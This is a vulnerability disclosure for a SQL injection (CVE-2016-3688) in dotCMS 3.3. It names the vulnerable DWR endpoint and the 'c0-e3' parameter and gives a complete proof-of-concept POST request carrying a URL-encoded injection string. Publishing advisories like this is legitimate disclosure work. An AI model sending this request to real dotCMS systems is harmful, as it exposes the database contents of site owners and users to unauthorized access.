1¡¢Description
 
Exploit Title: SQL Injection Vulnerability in DotCms v3.3
 
Date: 3-28-2016
 
Vendor Homepage: http://dotcms.com/
 
Vendor: dotcms
 
Software: Content Management System
 
Version: v3.3

CVE:CVE-2016-3688


 
  
 
2¡¢Product Summary
 
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dotcms is a fully featured open source enterprise grade J2EE/Java based web content management system for building/managing websites, content and content driven web applications. it¡¯s specially designed for bridges the gap between PHP CMS and J2EE document management solutions. it include features such as support for virtual hosting, WebDav (beta), structured content, clustering and can run on multiple databases PostgreSQL, MySQL, MSSQL and Oracle. It also includes standard WCMS features like page caching, templating, and a API.
 
 
 
3¡¢Vulnerabilities
 
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A SQL injection vulnerability has been identified in dotCMS 3.3 which, if successfully exploited, could allow an attacker to access sensitive information in the dotcms database. 
 
Demo:(http://dotcms.com/content-management-system/cms-demo)
 
 
 
The vulnerability is due to the dwr/call/plaincall/UserAjax.getUsersList.dwr ,¡°c0-e3¡±parameter
 
 
 
Proof of concept
 
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POST /dwr/call/plaincall/UserAjax.getUsersList.dwr 
 
 callCount=1
 
windowName=c0-param2
 
c0-scriptName=UserAjax
 
c0-methodName=getUsersList
 
c0-id=0
 
c0-param0=null:null
 
c0-param1=null:null
 
c0-e1=number:0
 
c0-e2=number:50
 
c0-e3=string:%25'%20and%201%3D1%20and%20'%25'%3D'
 
c0-param2=Object_Object:{start:reference:c0-e1, limit:reference:c0-e2, query:reference:c0-e3}
 
batchId=4
 
instanceId=0
 
page=%2Fc%2Fportal%2Flayout%3Fp_l_id%3Da8e430e3-8010-40cf-ade1-5978e61241a8%26p_p_id%3DEXT_USER_ADMIN%26p_p_action%3D0%26%26dm_rlout%3D1%26r%3D1459154302419
 
scriptSessionId=jnMOli*Civ5bu2PIg2Z1YaOlYel/10irYel-hmv1Q$Yud
 


 
 
 
4¡¢Discovered by
 
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 piaox xiong ¨C xiongyaofu351@pingan.com.cn